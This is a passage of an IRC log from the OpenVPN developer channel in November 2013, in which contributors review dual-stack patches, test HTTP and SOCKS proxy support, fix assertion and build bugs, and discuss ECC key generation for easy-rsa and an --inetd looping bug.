ssl_openssl.c calls it in two places 06:12 <@cron2> tls_ctx_load_cert_file() -> tls_ctx_load_cert_file_ext() 06:12 <@cron2> and 06:12 <@plaisthos> ah there yeah 06:12 <@plaisthos> you are right 06:12 <@cron2> tls_ctx_use_external_private_key() -> tls_ctx_load_cert_file_ext() 06:12 <@plaisthos> I looked in the wrong file 06:12 * cron2 skimmed the patch, decided "I'm not understanding all that crypto stuff anyway, so if syzzer and plaisthos say it works"... 06:13 <@plaisthos> cron2: I give syzzer a day to fix it, otherwise I will send the fix for that 06:14 <@cron2> plaisthos: can you see what went wrong? 06:18 <@plaisthos> yeah, tls_ctx_load_cert_file_and_copy should haven tls_ctx_load_cert_file_ext or the other way round 06:19 <@plaisthos> I can send the patch to the Mail if you want 06:21 <@cron2> since syzzer ran away :-) that would be good (so I can fix that, and go back to 02/14 which I was just test-compiling...) 06:23 <@plaisthos> kk 06:23 <@plaisthos> just a sec 06:30 < syzzer> ah, sorry :( I usually do test whether OpenSSL builds still work, but I did quite some rework on this one and skipped the testing here... 06:30 < syzzer> furthermore, I have to get afk now :p 06:41 <@cron2> there he runs... 06:42 < syzzer> Ah, I see plaisthos just send the same patch I was trying to submit before running away :p 06:43 <@plaisthos> syzzer: Only sent the patch because you were running aways and it was such an easy fix 06:43 < syzzer> I don't have my work laptop here, so I won't be able to send an ACK from that address 06:43 < syzzer> yeah, np, help is appreciated! 06:44 <@cron2> now let's see whether the kids can give me the 15 minutes needed... 06:45 <@cron2> syzzer: so I record an ACK from you for that patch, which you'll send monday? 06:46 < syzzer> Oh, just send out one from my private mail address. I can send another one from my work mail Monday if you appreciate that. 06:47 <@cron2> no, any ACK is fine for me 06:49 < syzzer> Okay, then I'll run now ;) 06:53 <@cron2> test build (and -run) on master succeeded, testing 2.3 now 07:05 <@vpnHelper> RSS Update - gitrepo: Fix compile error in ssl_openssl introduced by polar external-management patch <https://github.com/OpenVPN/openvpn/commit/20fe5561dfe7a6f1da3aac07b38d0773c2758e5e> 08:15 <@cron2> plaisthos: there is one piece of code in 03/14 that I do not understand 08:15 <@cron2> + if (sock->info.af == AF_INET) 08:15 <@cron2> sock->reads.addrlen = sizeof (sock->reads.addr6); 08:15 <@cron2> else 08:15 <@cron2> sock->reads.addrlen = sizeof (sock->reads.addr); 08:15 <@cron2> (in socket_recv_queue) 08:15 <@cron2> is that right? 08:15 <@cron2> it was 08:15 <@cron2> - if (sock->info.proto == PROTO_UDPv6) 08:15 <@cron2> before 08:16 <@cron2> in socket_send_queue() there is another one 08:16 <@cron2> - if (sock->info.proto == PROTO_UDPv6) 08:16 <@cron2> + if (sock->info.af == AF_INET) 08:24 <@cron2> ho hum, test run with 02/14 merged fails with ASSERT(0) in the AF_UNSPEC branch of print_sockaddr_ex that is not there before 11/14 :-) - I'll pull that one forward, and also fix the addr_is_defined = IN6_IS_ADDR_UNSPECIFIED fix from 11/14 08:29 <@cron2> Sat Nov 23 15:28:47 2013 UDPv4 link local: [AF_UNSPEC] 08:29 <@cron2> Sat Nov 23 15:28:47 2013 UDPv4 link remote: [AF_INET]199.102.77.82:51194 08:29 <@cron2> ok :) 08:41 <@cron2> 02/14 merged and pushed, 03/14 waiting for review on the bits noted above 08:41 <@vpnHelper> RSS Update - gitrepo: Simplify print_sockaddr_ex function, merge duplicate ipv4/ipv6 logic. <https://github.com/OpenVPN/openvpn/commit/d3310d2ea46a71c35313a653c9454fc468cb9c55> 10:28 <@plaisthos> cron2: that addrlen stuff is there because not all platform (i.e. Linux) do have a socklen in the sockaddr struct 10:28 <@plaisthos> iirc 10:28 <@plaisthos> I will check later in detail 12:43 <@cron2> plaisthos: that part I understand, but I think IPv4/IPv6 got turned around, so it will fail later on 12:50 <@plaisthos> cron2: oh 12:58 <@plaisthos> cron2: should send a new patch? 14:05 -!- novaflash is now known as novaflash_away 14:14 -!- novaflash_away is now known as novaflash 14:22 <@cron2> plaisthos: if you agree that it shouldn't be that way, yes, please re-send 14:23 <@cron2> (I think you already did :) ) 15:42 -!- novaflash is now known as novaflash_away 15:47 -!- novaflash_away is now known as novaflash 21:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Quit: So long, and thanks for all the fish. ♫] 21:15 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+o pekster] by ChanServ 22:27 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds] 22:43 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 22:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 23:25 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 23:25 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sun Nov 24 2013 05:17 <@cron2> plaisthos: you are not going to like this... 05:18 <@cron2> - proto2ascii (c->c2.link_socket->info.proto, true), 05:18 <@cron2> + proto2ascii (c->c2.link_socket->info.proto, c->c2.link_socket->info.proto, true), 05:18 * cron2 corrects the second ".proto" to ".af" 06:08 <@vpnHelper> RSS Update - gitrepo: Split the PROTO_UDP_xx options into AF_INET/AF_INET6 and PROTO_TCP/PROTO_UDP part. <https://github.com/OpenVPN/openvpn/commit/30077d1f415b8dc9bd7c8a1ac6a7585136ac6261> 06:10 <@cron2> plaisthos: for --http-proxy, is IPv6 supported even without your patches? Or is the full set needed? 06:19 <@plaisthos> cron2: at least the fix assert fix 06:19 <@plaisthos> cron2: 6/14 06:22 <@cron2> yay, just ran into that :-) - though I don't understand it, it triggered for --http-proxy 193.149.44.10 3128 06:23 <@cron2> applying 06/14, then re-testing :) 06:23 <@cron2> (my t_client testbed did not have --http-proxy and --socks-proxy tests yet, adding them now...) 06:33 <@cron2> mmmmh 06:34 <@cron2> plaisthos: with 06/14 applied, I do not get an ASSERT() anymore, but it fails with this: 06:34 <@cron2> Sun Nov 24 13:27:51 2013 RESOLVE: Cannot resolve host address: 193.149.44.10: 3128 06:34 <@cron2> while it works for an IPv6 address 06:34 <@plaisthos> cron2: okay strange 06:35 <@plaisthos> it is fixed in a later patch somehow 06:35 <@plaisthos> the "change the type of remote to addrinfo." probably fixes that 06:36 <@cron2> I'll investigate more closely when I have more time. Right now my family is driving me crazy... young daughter is refusing to sleep, wife is annoyed at daughter, doesn't help focusing on anything 06:39 <@cron2> interesting, though 06:39 <@cron2> --remote 199.102.77.82 --port 51194 06:39 <@cron2> works fine, so it's not "generally broken", just for http-proxy 06:40 <@cron2> Sun Nov 24 13:40:05 2013 RESOLVE: Cannot resolve host address: wwwcache.space.net: 3128 06:41 <@cron2> ... and it's not related to IPv4-literals, seems it's trying to always resolve for IPv6 here (which that host does not have) 06:41 <@cron2> it works with a literal IPv6 address... 06:51 <@plaisthos> strange 06:53 <@plaisthos> lemme scheck 06:54 <@plaisthos> hm 06:55 <@plaisthos> I can't point point what really fixed that 07:05 <@plaisthos> cron2: Should I debug this and fix it in the version? 07:07 <@cron2> plaisthos: if you have time and feel like it, and the fix is easy, it would be nice to have a working interim release 07:09 <@plaisthos> cron2: If I understood you right, resolving is broken for http-proxy no matter if it is ipv4 hostname or literal address? 07:09 <@cron2> yep. But ipv6 literals work (my ipv6 proxy refuses to CONNECT to non-443 ports, but that's not OpenVPN's fault) 07:10 <@cron2> as the ASSERT(af==AF_INET) fires, even for an IPv4 literal, it seems "someone" is setting AF_INET6 which then goes into getaddrinfo()... 07:10 <@cron2> just guessing, need to leave and help my wife clean up the house (grandparents come visiting)... 07:11 <@plaisthos> cron2: I will take a look 07:11 <@plaisthos> perhaps it is something simple 07:19 <@plaisthos> cron2: can you give me your test config? 07:19 <@plaisthos> because it works for me: 07:19 <@plaisthos> Sun Nov 24 14:18:49 2013 Attempting to establish TCP connection with [AF_INET]193.149.44.10:3128 [nonblock] 07:20 <@plaisthos> (your proxy does not like me but that is expected :)) 07:20 <@cron2> plaisthos: which code base is this? git master of today? 07:20 <@plaisthos> Sun Nov 24 14:20:34 2013 OpenVPN 2.3_git [git:master/30077d1f415b8dc9] x86_64-apple-darwin13.0.0 [SSL (OpenSSL)] [LZO] [MH] [IPv6] built on Nov 24 2013 07:20 <@plaisthos> yes 07:20 <@cron2> oh 07:21 * cron2 stupid 07:21 <@cron2> src/openvpn/openvpn --client --ca /home/gert/src/openvpn.git-keys/ca.crt --cert /home/gert/src/openvpn.git-keys/cron2-gentoo-i386.crt --key /home/gert/src/openvpn.git-keys/cron2-gentoo-i386.key --ns-cert-type server --nobind --comp-lzo --verb 3 --dev tun3 --proto tcp6-client --remote conn-test-server.openvpn.org --port 51194 --http-proxy wwwcache.space.net 3128 07:21 <@plaisthos> oh ;0 07:22 <@plaisthos> could have worked if wwwcache had a ipv6 address 07:22 <@cron2> too many interrupts for my brain, I did not even think far enough to come to the idea that "--proto tcp6-client" might influence AF selection for wwwcache :-) 07:22 <@cron2> it does work for wwwcache6.space.net, which is the dual-stack proxy (but that one is configure differently and does not permit CONNECT to 51194... gah) 07:22 <@plaisthos> it is a strange /feature/ that udp6 vs udp influences the proxy protocol 07:22 <@plaisthos> It might take a look into that stuff later 07:23 <@cron2> it actually makes sense to be able to tell the client "connect via ipv4/ipv6 to the proxy", if you know your local ipvX is broken 07:23 <@plaisthos> at the moment the combination of ipv4 proxy and ipv6 might not work at all 07:23 <@plaisthos> since udp4/udp6 forces AF_INET/AF_INET6 for both resolving 07:24 <@cron2> since we pass a hostname to the HTTP proxy, it will work - I see this in the log 07:24 <@cron2> CONNECT conn-test-server.openvpn.org:51194 HTTP/1.0 07:24 <@cron2> Host: conn-test-server.openvpn.org 07:24 <@plaisthos> cron2: ah okay 07:24 <@plaisthos> might be broken for socks then :) 07:24 <@cron2> we can't influence the protocol selection proxy->server that way, though 07:25 <@cron2> hrhr, socks is the next thing on my list of test client candidates - what do people use as a socks proxy? (I've only ever used OpenSSH, but that is unsuitable here) 07:25 <@plaisthos> strange people use socks 07:25 <@plaisthos> but almost nonexistent 07:25 <@plaisthos> it took > 1 year until someone complained about socks in my client broken 07:26 <@plaisthos> and then it was only used as fw eavise tool 07:26 <@cron2> yay, with --proto tcp-client --http-proxy wwwcache.space.net it works \o/ - sorry for complaining :-) 07:26 <@plaisthos> cron2: no problem 07:27 <@cron2> and with 06/14 merged, --proto tcp6-client --http-proxy wwwcache6 also works, sort of 07:27 <@cron2> Sun Nov 24 14:26:36 2013 TCP connection established with [AF_INET6]2001:608:2:81::10:3128 07:27 <@cron2> Sun Nov 24 14:26:36 2013 Send to HTTP proxy: 'CONNECT conn-test-server.openvpn.org:51194 HTTP/1.0' 07:27 <@cron2> Sun Nov 24 14:26:36 2013 HTTP proxy returned: 'HTTP/1.1 403 Proxy Error' 07:27 <@cron2> ... but *that* is not an OpenVPN issue :-) 07:28 <@plaisthos> lol 07:28 <@plaisthos> [AF_INET6]2001:608:2:81::10:3128 07:28 <@plaisthos> we might to fix that 07:28 <@plaisthos> that is confusing 07:28 <@plaisthos> (and actually a valid ipv6 address) 07:29 <@cron2> yeah, we need to revisit print_sockaddr_ex(), the [AF_*] is not really helpful for people that are "not you or me", and the IPv6:port thing is bad 07:29 <@cron2> but I want to get the rest out of the way first - what we have get's the job done, does not crash, and can be deciphered 07:32 <@plaisthos> I have to check what other projects are doing 07:35 <@cron2> mmmh, ubuntu has at least *3* different socks servers in their default package set (dante-server, hpsockd, socks4-server) 07:36 <@cron2> one of my OpenVPN-test-VMs is ubuntu, so I can abuse that 07:40 <@cron2> ok, so danted only does TCP, and only IPv4. Meh. But that still should work 07:43 <@cron2> Nov 24 14:49:48 ubuntu1204 danted[6898]: block(0): tcp/connect [: 193.149.48.170.54331 -> conn-test-server.openvpn.org.51194 07:44 <@cron2> looks promising 07:46 <@cron2> Nov 24 14:52:36 ubuntu1204 danted[6918]: pass(1): tcp/connect [: 193.149.48.170.48807 -> conn-test-server.openvpn.org.51194 07:46 <@cron2> even better :-) 07:46 <@cron2> so now openvpn is talking to it *and* the proxy rules permit actually going out 07:47 <@cron2> works! 07:52 <@cron2> Sun Nov 24 14:51:45 2013 RESOLVE: Cannot resolve host address: localhost: 2222 07:52 <@cron2> grmnbl 07:52 <@cron2> (that is a local DNS that resolves localhost only to 127.0.0.1...) 07:53 <@cron2> --proto tcp6-client --socks-proxy ::1 2222 07:53 <@cron2> this works! 07:53 <@cron2> (forwarding through "ssh -D 2222 ...") 07:54 <@cron2> this is actually quite cool :-) 07:56 <@vpnHelper> RSS Update - gitrepo: Fix two instances of asserting AF_INET <https://github.com/OpenVPN/openvpn/commit/500c16f319e21ae9590a2207d0b518f8e57abdde> 08:03 <@plaisthos> \o/ 08:03 <@cron2> yay, wwwcache6 proxy exception added for 51194, and now --tcp6-client --http-proxy works as well. 08:03 <@plaisthos> I will gone be until later 08:03 * cron2 is happy, and pushes 08:03 * plaisthos is happy too 08:03 <@cron2> plaisthos: same here :-) - when you're back, I'll ask about 07 08:03 <@plaisthos> hehe 08:06 <@plaisthos> cron2: I have posted a second version of that 08:06 <@plaisthos> 07 is what is pushed in the options string to the other client 08:07 <@plaisthos> which is currently tied to way openpvn prints PROTO_UDPv4 08:08 <@cron2> yep, I think I understand what it does, I was just wondering why the need for a second version appeared - was that "as a client, it worked, as a server, it assert()ed"? 10:08 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 3 4 4a 5. 10:09 <@cron2> now *that* is what I like to see :-) (and indeed, fairly thorough coverage - 1* is "tcp, tcp over ipv6, tcp over http-proxy v4/v6, tcp over socks proxy v4 (v6)" 11:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 11:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:58 <@plaisthos> cron2: no but for a server it would always return "TCP_SERVER" since remote is not checked 12:02 <@plaisthos> and not TCP_CLIENT for remote=true and TCP_SERVER as proto 12:47 <@cron2> ah, the return was wrong and so OCC mismatched. Or so :) 13:01 < syzzer> plaisthos: I'm just playing around with ics-openvpn to see what I can let it do with polarssl, but I'm getting lost in your version control maze :p 13:02 < syzzer> is there anywhere where I can find the current git tree for the /openvpn source from ics-openvpn? 13:07 <@cron2> syzzer: I think plaisthos is distributing this to git, mercurial, and elsewhere, or so :-) 13:07 * cron2 hides 13:15 <@plaisthos> cron2: yeah, not so far from the truth 13:15 <@cron2> hehe :-) 13:15 <@plaisthos> syzzer: clone from https://github.com/schwabe/openvpn 13:15 <@vpnHelper> Title: schwabe/openvpn · GitHub (at github.com) 13:16 <@plaisthos> branch dualstack18 13:17 <@cron2> anyway, when you're done explaining syzzer about your repository maze, could you explain 04/14? I can see what the code does, but I'm not sure I understand the full context. I think the issue is that if a SIGUSR1 was received, it would be ignored, but still destroy *res, thus leading to ... what? A resolving loop? Or just extra resolution? 13:18 <@cron2> ah, no, it would leave the loop, but run into ASSERT(res) afterwards, having destroyed res just itself 13:18 <@cron2> right? 13:18 <@cron2> so the changed code will still ignore SIGUSR1, but not destroy res in this case, so a successful resolution will just work 13:20 < syzzer> plaisthos: ya, I did take a look there, but the newest branch on github is dualstack14 ? 13:20 <@plaisthos> syzzer: lemme check 13:21 <@plaisthos> yes 14 is right 13:21 <@plaisthos> do a rm -rv openvpn 13:21 <@plaisthos> checkout the openvpn source code there 13:21 < syzzer> last commit 2 months ago, that is correct? 13:22 <@plaisthos> and then do a hg revert openvpn/Android.mk to get the build stuff back 13:22 <@plaisthos> syzzer: Date: 27. September 2013 21:01:22 MESZ 13:22 <@plaisthos> Commit Date: 24. November 2013 13:50:31 MEZ 13:22 < syzzer> ah, right, thanks :) 13:24 <@plaisthos> syzzer: don't dare to ask how git determines these dates 13:24 <@plaisthos> I have heavy cherry picking/rebasing etc.. 13:24 <@plaisthos> cron2: I am kind of lost there 13:25 < syzzer> yeah, git apparently uses the commit date, which actually makes sense... 13:25 <@plaisthos> cron2: ah yes 13:25 < syzzer> I went for a 'git submodule add --branch dualstack14 https://github.com/schwabe/openvpn.git', gotta love git! :D 13:26 <@cron2> plaisthos: if *you* are lost in your patches, I better should not apply them :-) 13:26 <@plaisthos> cron2: I got it now 13:27 <@plaisthos> cron2: on all signal we bail out, but we simply ignore igusr1 13:27 <@plaisthos> so wehn we ignore the singal, we should not free res 13:27 <@cron2> ... and so we should completely ignore it, not destroy res first and then ignore sigusr1 13:27 <@cron2> yep 13:27 <@cron2> I think this should go to 2.3 as well, as it's a generic bug. Right? 13:28 <@plaisthos> cr yes 13:28 <@cron2> ok 13:29 <@plaisthos> as for the question: "why are we ignoring usr1?" I have no bloody idea 13:29 * cron2 guesses at "AS uses that and it killed openvpn at some time and so james built a workaround" :) 13:30 <@cron2> ok, running "make check" on master+04 now, if that succeeds, push... (and then I'm done for today, and quite pleased with the weekend's work) 13:30 <@cron2> ((except for the bits that people wanted to pay me for which have not been done, because much more boring than OpenVPN work... *sigh*)) 13:39 <@plaisthos> syzzer: for some reasons the polarssl build seems to hang on my android tablet randonnmly 13:48 <@vpnHelper> RSS Update - gitrepo: Fix assertion when SIGUSR1 is received while getaddrinfo is successful <https://github.com/OpenVPN/openvpn/commit/282788a835f6c9dfb85e8f9a3bd45f5841271b06> || t_client.sh: ignore fields from "ip -6 route show" output that distort results. <https://github.com/OpenVPN/openvpn/commit/8c19087034cb1076874075b9e2896ea3f7be59cf> 13:48 < syzzer> plaisthos: I'm running a polar build on my old defy+ now too, I'll play around a bit with it 13:50 <@plaisthos> sy :) 18:45 <@pekster> So, does anyone know what the significance of generating multiple keys with the same ecparams is? the openssl.org wiki has some info about the process from a technical level, but it doesn't really explain if this is significant 18:45 <@pekster> http://wiki.openssl.org/index.php/Elliptic_Curve_Cryptography 18:45 <@vpnHelper> Title: Elliptic Curve Cryptography - OpenSSLWiki (at wiki.openssl.org) 19:46 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 245 seconds] 20:20 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 20:21 <@vpnHelper> RSS Update - tickets: #348: Pv6 UDP server response may select a different source address than incoming destination preventing formation of the VPN tunnel <https://community.openvpn.net/openvpn/ticket/348> 20:26 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 272 seconds] 21:25 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 21:26 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Excess Flood] 21:51 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 21:56 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Ping timeout: 272 seconds] 22:17 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel 22:17 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has quit [Excess Flood] 22:18 -!- MeanderingCode [~Meanderin@palantir.aetherislands.net] has joined #openvpn-devel --- Day changed Mon Nov 25 2013 00:26 <@pekster> syzzer: It's official; your ECC support has been merged, with some semantic changes. Now we just need openvpn and polarssl to support it :P 01:24 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 01:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:09 <@plaisthos> oh 02:10 <@plaisthos> I just found out, nobody is allowed to build to build my ics-openvpn 02:10 <@plaisthos> I forgot the OpenSSL execption .... 02:15 <@plaisthos> on the other hand OpenSSL is part of the OS 02:32 <@cron2> pekster: that statement confused me for a bit, until I figured you are talking about easy-rsa :-) 02:33 <@cron2> plaisthos: why is nobody allowed? Because you have a personal license from OpenSSL? 02:49 <@plaisthos> cron2: the whole GPLv2 vs OpenSSL stuff 02:49 <@cron2> augh. And you got special permission? 02:49 <@plaisthos> cron2: I don't need one ;) 02:50 <@plaisthos> but I added one to the licenses file for everyone else 02:50 <@cron2> but you're linking openvpn+openssl? or aren't you? 02:50 <@plaisthos> cron2: yeah, but openvpn got an execption 02:50 <@cron2> (it's monday morning, my brain is still frozen from cycling to work...) 02:50 <@cron2> ah :-) 02:50 <@plaisthos> the gui also links openssl idendently 02:51 <@cron2> so *openvpn* is good due to the exception, and the gui is good because you can re-license at will? 02:51 <@plaisthos> yeah 02:51 <@plaisthos> pretty much 02:51 <@plaisthos> but now the gui has an exception in the license as well 02:51 <@plaisthos> I am just doing the "full licenses" dialog in my app 02:51 <@cron2> solved :) 02:52 <@plaisthos> and I found out that OpenVPN has a special exception for linking against lzo and openssl at the same time 02:52 <@plaisthos> (see COPYING in openvpn) 02:53 <@cron2> I think I don't want to know... 03:19 < syzzer> pekster: I noticed, cool! On your earlier remark on ecc keys: I don't think I really understand what you're asking. The ecparams is just a way to specify 'use this curve', which you could interpret as 'use rsa, xx bits', for which you can generate keys. 03:35 <@plaisthos> pekster: nice! Now we need just some ECC support in OpenVPN and a patch for management-external-key to allow ECC usage 03:36 <@plaisthos> (converting the rsa method to openssl engine stuff probably .... :( ) 05:44 -!- dazo_afk is now known as dazo 05:47 <@cron2> dazoman! 05:50 <@cron2> plaisthos: btw, when you have time, please revisit 11/14 - the patch that you sent to the list has stuff in it that shouldn't be, like a copy of "compile", and there are merge conflicts (which 14/14 fixes, but I don't really want to commit these) 05:52 <@cron2> oh, no, actually 09/14 introduces the merge conflicts, while 11/14 fixes them - but still, 11/14 contains "compile" as "new file" 05:59 <@plaisthos> cron2: oh yes. 05:59 <@plaisthos> cron2: somewhere my rebase got wrong 06:00 <@cron2> yup. The end result is OK, but the intermediate steps are a bit funny 06:13 <@dazo> hey! 06:14 <@cron2> dazo: you missed all the fun this weekend :-) (or do you get the buildslave compile fails?) 06:15 <@dazo> I haven't seen any issues at all ... so I'm living happily ignorant to build failures :-P 06:15 <@cron2> haha :-) - I checked in something that broke compilation with OpenSSL, so mattock and I got about 60ish complaint mails from about half of all builds... 06:16 <@dazo> syzzer: I've looked at my --chroot patch again ... I see your point ... but I thought it would make the code clearer in check_cmd_access() that we do some special trickery when chroot is action ... instead of burying it down one level more .... but I have no strong feelings about simplifying the code a bit more 06:16 <@dazo> cron2: ^^^ you're allowed to have an opinion on this too :) 06:18 <@cron2> dazo: oh, I'm full of opinions, but if you, pekster and syzzer fight it out on your own, I'll just commit what is left standing at the end ;-) (besides that, your patch is indeed more to my liking as it's less intrusive) 06:19 <@dazo> heh :) 06:21 <@dazo> This is actually the change syzzer asks for ... http://paste.fedoraproject.org/56565/82037138/ 06:22 <@dazo> (not perfect formatting ... but that's a non-issue right now ... will fix) 06:23 <@cron2> I'm neutral on this change - I can see reasons for both. Yours is more explicit, his is "less code, same thing" 06:25 <@dazo> exactly 06:31 <@plaisthos> cron2: I sent all remaining patches to the mailing list 06:31 <@plaisthos> rebased against the current -master 06:38 <@cron2> plaisthos: ok, thanks. Will go through them and re-sort my brains accordingly 06:38 <@cron2> I think I have a pretty good overview now what is where (and why)... 06:39 <@plaisthos> 5/9 might also be candidate for 2.3 06:39 <@cron2> yes and no, the first hunks yes, but the bits about 06:40 <@cron2> + if (sock->info.lsa->remote_list) { freeaddrinfo(sock->info.lsa->remote_list); 06:40 <@cron2> smell like "it needs some of the earlier changes" 06:42 <@plaisthos> oh that second part somehow 06:42 <@plaisthos> :/ 06:43 <@cron2> but I can sort that out 09:00 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 09:02 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:02 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:35 <@pekster> syzzer: Ah, okay. I didn't realize the ecparams stayed the same for each curve; now it makes more sense (it's just describing the curve, allowing users to "define their own" if they really want) 10:37 <+krzee> note that it can be very dangerous to "define your own" 10:37 <@pekster> Yes, I'm aware, but that's the only reason to expose this at all to userland 10:37 <@pekster> Otherwise openssl would just have its magic list of defaults and not let you play with dragons 10:38 <+krzee> yep, just wanted to make that note, since it has been missed by others previously 10:39 <@pekster> In fact, `openssl ecparam` lets you generate a key too, thus avoiding the need to store any params on disk anyway. While that has a certain elegance to it, I rather like the idea of "experts" being able to define, say, $EASYRSA_PKI/ecparams/krzee.pem and use that curve 10:39 <@pekster> Go invent us a curve ;) 10:42 <+krzee> i agree, i just find it important to say "hey look, dragons" when i hear someone mention defining their own curve for EC 10:43 <+krzee> so i did =] 10:44 <@pekster> Yea, and it's not at all automatic, though all you need to do is create the aforementioned file, then call easyrsa with --curve=krzee and pet your dragon 10:49 <@pekster> Hmm, or not. Can't say I'm interested in fixing that though 12:02 < syzzer> pekster: yeah, I did not really consider people creating their own curves. I just used the ecparams-file based approach because it integrated easily in the already existing RSA commands you were using in the scripts :) 12:36 <@pekster> Yup :) 12:37 <@pekster> I considered the possibility that future pkcs11 support might need to re-work how key generation happens, but I'm putting that off until I can figure out how/if smartcards work under Win32 :( 12:37 <@pekster> ie: split the keypair generation with the CSR 15:22 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 15:48 -!- dazo is now known as dazo_afk 17:42 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has quit [Ping timeout: 246 seconds] 20:57 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 272 seconds] 21:24 <@pekster> I'll work to get some basic win32 build docs to easy-rsa and tag a 3.0.0-rc1 (mostly so we can refer to a tgz/zip better than 'commit abc1234') and get binary-ready downloads made available 21:35 <@pekster> Poke me if there's anything obvious that needs to be fixed before then, but I'm content to tack on an "-rc1" to keep anyone from complaining too loudly if it eats their cat --- Day changed Tue Nov 26 2013 02:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:33 < syzzer> pekster: splitting keypair generation would remove the need for the ecparam files. If you generate a keypair directly with 'openssl ecparam' one can just specify the curve name 02:50 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 246 seconds] 04:14 <@vpnHelper> RSS Update - tickets: #349: push-continuation not working correctly <https://community.openvpn.net/openvpn/ticket/349> 04:46 -!- dazo_afk is now known as dazo 05:16 <@dazo> syzzer: sorry for the re-post ... but the sender was wrong and was rejected by the ML ... my thunderbird is acting a bird weird now from time to time :/ 05:36 <@plaisthos> dazo: I like your bird/bit typo :) 05:38 <@dazo> heh 05:38 <@dazo> I didn't notice until now :) 05:55 < syzzer> dazo: okay, np. I flagged your mail, hopefully tonight or tomorrow night I'll be able to free some time to take a closer look :) 05:56 <@dazo> thx! 05:56 <@dazo> syzzer: it's actually up to you and pekster ... as cron2 said we will pull in whichever gets acked :) 06:19 <@cron2> mmmh... starting openvpn with --inetd from the shell will make it loop forever on 06:19 <@cron2> Nov 26 13:25:02 gentoo openvpn[14099]: TCP: accept(3) failed: Socket operation on non-socket (errno=88) 06:20 <@dazo> who wants to start openvpn via (x)inetd these days? ... should we continue to support that? 06:20 <@plaisthos> dazo: I don't know but I kept comptability for that in my dual stack patches 06:20 <@plaisthos> I never tested it :) 06:21 <@cron2> I'm just building it into my test framework :-) - and there might be reasons, like "I need this only once a month, so I don't want to have the process lying around all the time", or "that way I can have it listen on 5 different ports with the same config"... 06:22 <@cron2> (as long as only one single client ever connects) 06:22 <@cron2> ((or you use tap+bridging)) 06:27 <@vpnHelper> RSS Update - tickets: #350: starting openvpn with --inetd from terminal will make it loop forever <https://community.openvpn.net/openvpn/ticket/350> 06:29 <@cron2> yay 06:29 <@cron2> seems wait=yes in xinetd is just broken 06:29 * cron2 hates xinetd 06:32 <@cron2> whatever xinetd is doing, it's not even bothering to start openvpn, before reporting "failed" 06:38 <@dazo> d12fk: [OT] yubikey security ... if still interested ... http://static.yubico.com/var/uploads/pdfs/Security%20Evaluation%202_0_1.pdf 06:38 <@dazo> (explains the string it outputs quite well) 06:40 <@cron2> aaaaargh 06:41 <@cron2> gentoo xinetd ships with a global default of "only_from = localhost"; and of course it doesn't tell you "failed due to access restrictions" in it#s log 06:41 <@cron2> Nov 26 13:46:48 gentoo openvpn[14609]: Options error: --inetd nowait can only be used in TLS mode 06:41 <@cron2> bah, stupid openvpn, thought I'd do point-to-point and save me the hassles of setting up a new subnet 06:44 <@cron2> Nov 26 13:50:08 gentoo openvpn[14666]: Options error: --inetd nowait only makes sense in --dev tap mode 06:44 <@cron2> argh 06:44 * cron2 adds a --shut-up-and-let-*me*-decide option 06:45 <@plaisthos> --inetd only only with TLS mode?! 06:45 <@cron2> Nov 26 13:51:24 gentoo openvpn[14701]: Options error: --inetd cannot be used with --mode server 06:45 <@plaisthos> I would have thought it can be only used with p2p mode 06:46 <@cron2> "it certainly seems like it", but I think it wants --tls-server 06:47 <@plaisthos> so --mode p2p --tls-server 06:47 <@plaisthos> that is a strange combo 06:47 <@plaisthos> Note 06:47 <@plaisthos> that OpenVPN is designed as a peer-to-peer application. The 06:47 <@plaisthos> designation of client or server is only for the purpose of nego- 06:47 <@plaisthos> tiating the TLS control channel. 06:48 <@plaisthos> Options error: --inetd is weird and tries to weasel out and does want to be used at all 06:49 <@cron2> yay 06:49 <@cron2> with a basic p2p config plus --tls-server it actually starts up 06:50 <@cron2> (I'm not sure why it insists on --dev tap, though...) 06:53 <@plaisthos> yeah. that you have to use --dev tap seems really strange 06:53 <@cron2> what do I have to do on the client side to speak to a --tls-server that is not a --server? give it key+ca+cert, but not --pull? 06:55 <@plaisthos> cron2: I think you pretent you speak with a server 06:55 <@cron2> Nov 26 14:01:10 gentoo openvpn[14767]: send_push_reply(): safe_cap=940 06:55 